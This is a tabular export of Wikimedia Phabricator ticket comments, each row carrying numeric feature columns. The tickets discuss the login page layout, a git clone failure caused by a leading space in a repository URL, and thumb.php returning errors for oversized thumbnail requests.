4304,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,@chasemp If we find that login issues are high enough priority then we might want to promote this to a blocker for release. ,,,1414450650,,PHID-USER-z3kqk2bjnqneldcznht6,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,21.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,21.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,21.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.9166666666666666,SCREEN_NAME If we find that login issues are high enough priority then we might want to promote this to a blocker for release. 
4303,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,AFAIK there is no team or development resources designated for maintaining any local changes long term.  Until that is figured out there is little point in forking locally for anything that is not an extreme functionality or security issue.  This will not be addressed from my perspective until post migration.,,,1414449339,,PHID-USER-3neel27i7dyu62jbbx2l,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-36,True,2.0,2.0,0.0,4.0,4.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,2.0,5.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,5.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,13.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,4.745454545454545,0.8,AFAIK there is no team or development resources designated for maintaining any local changes long term.  Until that is figured out there is little point in forking locally for anything that is not an extreme functionality or security issue.  This will not be addressed from my perspective until post migration.
4244,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,Related: https://meta.wikimedia.org/wiki/User_talk:Erik_Moeller_(WMF)#Phabricator_login_sequence,,,1414383184,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-36,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,Related: URL
4085,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,@aklapper yeah some sort of [[ https://phabricator.wikimedia.org/T116  | Checklist ]] function would be great ;),,,1414190358,,PHID-USER-z3kqk2bjnqneldcznht6,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,False,,,-36,True,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.611111111111111,0.8888888888888888,SCREEN_NAME yeah some sort of [[ URL  | Checklist ]] function would be great ;)
4079,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,Fair. Added my bits. Jared might have more.,,,1414188751,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-36,True,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.272727272727273,0.8181818181818182,Fair. Added my bits. Jared might have more.
4072,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"Would like to see a list which issues to solve / fix.
""Redesign the login page"" itself is not a valid problem but only a potential solution. :)",,,1414184315,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-36,True,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,3.0,6.0,0.0,3.0,15.0,0.0,3.0,0.0,0.0,12.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,9.0,3.0,0.0,0.0,0.0,0.0,3.5454545454545454,0.8484848484848485,"Would like to see a list which issues to solve / fix.
""Redesign the login page"" itself is not a valid problem but only a potential solution. :)"
155,"""I don't handle protocol ' https'"" when trying to have Phabricator watch "" https://git.wikimedia.org"" repo (URL with preceding whitespace)","Phabricator has a feature to watch a repository hosted elsewhere, which is being used here for testing with several repos (e.g. rMW).  Several of these use https URLs (e.g. rMW has https://github.com/wikimedia/mediawiki-core, rMMV has https://gerrit.wikimedia.org/r/mediawiki/extensions/MultimediaViewer).

I tried to use https://git.wikimedia.org/git/mediawiki/extensions/GettingStarted.git (which I think is controlled by GitBlit) for GettingStarted.  However, it refused to clone it (see rGETTINGSTARTED).  I wonder if it's getting confused because of the .git suffix.",Low,25.0,1398721836,1410485592.0,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-USER-nyhmztvvw4luz5mlcuvg,False,PHID-TASK-dmj5ddicrmefwffa4ikt,task_description,resolved,True,c3,1,True,False,True,-62,True,2.0,0.0,0.0,3.0,0.0,2.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,13.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,14.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,13.0,8.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,3.8488372093023258,0.6627906976744186,"Phabricator has a feature to watch a repository hosted elsewhere, which is being used here for testing with several repos (e.g. rMW).  Several of these use https URLs (e.g. rMW has URL rMMV has URL

I tried to use URL (which I think is controlled by GitBlit) for GettingStarted.  However, it refused to clone it (see rGETTINGSTARTED).  I wonder if it's getting confused because of the .git suffix."
1363,"""I don't handle protocol ' https'"" when trying to have Phabricator watch "" https://git.wikimedia.org"" repo (URL with preceding whitespace)",//importing issue status//,,,1410485592,,PHID-USER-nyhmztvvw4luz5mlcuvg,True,,,PHID-TASK-dmj5ddicrmefwffa4ikt,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,//importing issue status//
1362,"""I don't handle protocol ' https'"" when trying to have Phabricator watch "" https://git.wikimedia.org"" repo (URL with preceding whitespace)","**qgil** wrote on `2014-05-14 17:13:16 (UTC)`

Reopening only to fix a board. Sorry for the noise.",,,1410485592,,PHID-USER-nyhmztvvw4luz5mlcuvg,True,,,PHID-TASK-dmj5ddicrmefwffa4ikt,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,14.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.0,0.8095238095238095,"**qgil** wrote on CODE

Reopening only to fix a board. Sorry for the noise."
1361,"""I don't handle protocol ' https'"" when trying to have Phabricator watch "" https://git.wikimedia.org"" repo (URL with preceding whitespace)","**qgil** wrote on `2014-05-11 16:43:43 (UTC)`

I'm assuming that once this is fixed upstream we can resolve it here, since our new instance will have these changes integrated. 

It will be different when we have our actual Phabricator instance up, requiring to be updated.",,,1410485591,,PHID-USER-nyhmztvvw4luz5mlcuvg,True,,,PHID-TASK-dmj5ddicrmefwffa4ikt,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,4.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,8.0,9.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,2.0,4.0,0.0,6.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,8.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,8.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,13.0,9.0,2.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,3.943396226415094,0.7735849056603774,"**qgil** wrote on CODE

I'm assuming that once this is fixed upstream we can resolve it here, since our new instance will have these changes integrated. 

It will be different when we have our actual Phabricator instance up, requiring to be updated."
1360,"""I don't handle protocol ' https'"" when trying to have Phabricator watch "" https://git.wikimedia.org"" repo (URL with preceding whitespace)","**mattflaschen** wrote on `2014-05-11 14:27:23 (UTC)`

This is fixed upstream (by validating it more strictly, not by trimming it then continuing silently).

@aklapper Does ""Waiting for upstream"" mean we're waiting for upstream to fix it, or that it's already fixed upstream, but we need to update our instance so we get the fix?",,,1410485591,,PHID-USER-nyhmztvvw4luz5mlcuvg,True,,,PHID-TASK-dmj5ddicrmefwffa4ikt,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,3.0,12.0,13.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,1.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,9.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,7.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,13.0,0.0,1.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,3.8088235294117645,0.7205882352941176,"**mattflaschen** wrote on CODE

This is fixed upstream (by validating it more strictly, not by trimming it then continuing silently).
SCREEN_NAME Does ""Waiting for upstream"" mean we're waiting for upstream to fix it, or that it's already fixed upstream, but we need to update our instance so we get the fix?"
1359,"""I don't handle protocol ' https'"" when trying to have Phabricator watch "" https://git.wikimedia.org"" repo (URL with preceding whitespace)","**mattflaschen** wrote on `2014-04-28 23:56:43 (UTC)`

It's because of the space before https.  Filed upstream as https://secure.phabricator.com/T4913 (to request they trim it).

I'm going to delete the rGITBLIT project now.",,,1410485591,,PHID-USER-nyhmztvvw4luz5mlcuvg,True,,,PHID-TASK-dmj5ddicrmefwffa4ikt,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,17.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,12.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,17.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.4047619047619047,0.8095238095238095,"**mattflaschen** wrote on CODE

It's because of the space before https.  Filed upstream as URL (to request they trim it).

I'm going to delete the rGITBLIT project now."
1358,"""I don't handle protocol ' https'"" when trying to have Phabricator watch "" https://git.wikimedia.org"" repo (URL with preceding whitespace)","**mattflaschen** wrote on `2014-04-28 21:59:10 (UTC)`

Full error was:

  Pull of ""GETTINGSTARTED"" failed: Command failed with error #128! COMMAND git clone --bare -- 'xxxxx' '/data/project/phabricator-git/GETTINGSTARTED' STDOUT Cloning into bare repository '/data/project/phabricator-git/GETTINGSTARTED'... STDERR fatal: I don't handle protocol ' https' 

",,,1410485590,,PHID-USER-nyhmztvvw4luz5mlcuvg,True,,,PHID-TASK-dmj5ddicrmefwffa4ikt,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,1.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,16.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,3.0,0.0,1.0,0.0,1.0,5.0,9.0,0.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.9342105263157894,0.618421052631579,"**mattflaschen** wrote on CODE

Full error was:

  Pull of ""GETTINGSTARTED"" failed: Command failed with error #128! COMMAND git clone --bare -- 'xxxxx' '/data/project/phabricator-git/GETTINGSTARTED' STDOUT Cloning into bare repository '/data/project/phabricator-git/GETTINGSTARTED'... STDERR fatal: I don't handle protocol ' https' 

"
1357,"""I don't handle protocol ' https'"" when trying to have Phabricator watch "" https://git.wikimedia.org"" repo (URL with preceding whitespace)","**mattflaschen** wrote on `2014-04-28 21:57:24 (UTC)`

I created rGITBLIT (I chose an old project, https://git.wikimedia.org/git/mediawiki/extensions/E3Experiments.git, that is no longer being committed to) so I could test this issue specifically, then get rGETTINGSTARTED working (even if I had to use a different mirror).

Surprisingly, rGITBLIT now seems to be working (import in progress) slowly but steadily.  I don't know any relevant difference, so it might be an intermittent error.",,,1410485590,,PHID-USER-nyhmztvvw4luz5mlcuvg,True,,,PHID-TASK-dmj5ddicrmefwffa4ikt,task_subcomment,,True,c3,1,True,,,-42,True,1.0,0.0,0.0,1.0,1.0,5.0,2.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,6.0,0.0,13.0,8.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,1.0,3.0,1.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,10.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,5.0,9.0,2.0,1.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,8.0,3.0,0.0,0.0,0.0,7.0,0.0,1.0,3.0,0.0,2.0,1.0,0.0,0.0,3.8850574712643677,0.7241379310344828,"**mattflaschen** wrote on CODE

I created rGITBLIT (I chose an old project, URL that is no longer being committed to) so I could test this issue specifically, then get rGETTINGSTARTED working (even if I had to use a different mirror).

Surprisingly, rGITBLIT now seems to be working (import in progress) slowly but steadily.  I don't know any relevant difference, so it might be an intermittent error."
74328,"When a larger-than-original thumbnail is requested from thumb.php, return original image instead of HTTP 500 error","As title says: If a width larger than the original is called, return original image instead of error.

--------------------------
**Version**: 1.22.12
**Severity**: enhancement",Lowest,10.0,1413916020,,PHID-USER-qjb2hbe663dhrrpskylp,False,,False,PHID-TASK-fuapw72rokpk4kcjhcjm,task_description,open,True,c3,1,False,False,,-37,True,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,10.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,4.0256410256410255,0.717948717948718,"As title says: If a width larger than the original is called, return original image instead of error.

--------------------------
**Version**: 1.22.12
**Severity**: enhancement"
795473,"When a larger-than-original thumbnail is requested from thumb.php, return original image instead of HTTP 500 error","Change 332425 abandoned by Mholloway:
thumb.php: Redirect rather than throwing 400 if requested width >= original

Reason:
Seems not viable as written.  Discussion to be continued on the linked Phab tasks.

[[https://gerrit.wikimedia.org/r/332425]]",,,1485104993,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fuapw72rokpk4kcjhcjm,task_subcomment,,True,c3,3,False,,,81,True,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,17.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,15.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,11.0,4.127659574468085,0.851063829787234,"Change 332425 abandoned by Mholloway:
thumb.php: Redirect rather than throwing 400 if requested width >= original

Reason:
Seems not viable as written.  Discussion to be continued on the linked Phab tasks.

[[GERRIT_URL]]"
792301,"When a larger-than-original thumbnail is requested from thumb.php, return original image instead of HTTP 500 error","Change 332425 had a related patch set uploaded (by Mholloway):
thumb.php: Redirect rather than throwing 400 if requested width >= original

[[https://gerrit.wikimedia.org/r/332425]]
",,,1484634368,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fuapw72rokpk4kcjhcjm,task_subcomment,,True,c3,3,False,,,80,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,15.0,4.121212121212121,0.9090909090909091,"Change 332425 had a related patch set uploaded (by Mholloway):
thumb.php: Redirect rather than throwing 400 if requested width >= original

[[GERRIT_URL]]
"
759205,"When a larger-than-original thumbnail is requested from thumb.php, return original image instead of HTTP 500 error",Solving this or T75935 would help the apps and Mobile Content Service users a lot.,,,1478799370,,PHID-USER-tjyfydvd4ncrfvvr6mkr,False,,,PHID-TASK-fuapw72rokpk4kcjhcjm,task_subcomment,,True,c3,3,False,,,71,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,31.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,4.25,1.0,Solving this or T75935 would help the apps and Mobile Content Service users a lot.
407140,"When a larger-than-original thumbnail is requested from thumb.php, return original image instead of HTTP 500 error","Tgr: Thanks, the redirect works.

This ticket in other words: If the referenced file exists, thumb.php should always return an image and no error.",,,1423137220,,PHID-USER-qjb2hbe663dhrrpskylp,False,,,PHID-TASK-fuapw72rokpk4kcjhcjm,task_subcomment,,True,c3,1,False,,,-21,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,13.0,3.0,3.0,16.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,4.0,0.8709677419354839,"Tgr: Thanks, the redirect works.

This ticket in other words: If the referenced file exists, thumb.php should always return an image and no error."
333627,"When a larger-than-original thumbnail is requested from thumb.php, return original image instead of HTTP 500 error","As a quick and dirty workaround, you can use index.php?title=Special:Redirect/file/Foo.jpg&width=500 which will do a redirect if the file is smaller. It probably does not accept all the parameters thumb.php does, though.",,,1417030028,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-fuapw72rokpk4kcjhcjm,task_subcomment,,True,c3,1,True,,,-32,True,3.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,9.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,6.0,3.0,3.0,17.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,6.0,0.0,0.0,3.0,0.0,0.0,5.428571428571429,0.8571428571428571,"As a quick and dirty workaround, you can use index.php?title=Special:Redirect/file/Foo.jpg&width=500 which will do a redirect if the file is smaller. It probably does not accept all the parameters thumb.php does, though."
333467,"When a larger-than-original thumbnail is requested from thumb.php, return original image instead of HTTP 500 error",See also T75935,,,1417007324,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-fuapw72rokpk4kcjhcjm,task_subcomment,,True,c3,1,True,,,-32,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,See also T75935
328660,"When a larger-than-original thumbnail is requested from thumb.php, return original image instead of HTTP 500 error","Check if viewport has enough width to display the 500px image. 

Call thumb.php?f=Foo.jpg&w=500 > Displays a 500px thumb or a smaller original

How does returning an error help?",,,1414065684,,PHID-USER-qjb2hbe663dhrrpskylp,False,,,PHID-TASK-fuapw72rokpk4kcjhcjm,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,6.0,3.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,3.0,0.0,3.0,4.71875,0.90625,"Check if viewport has enough width to display the 500px image. 

Call thumb.php?f=Foo.jpg&w=500 > Displays a 500px thumb or a smaller original

How does returning an error help?"
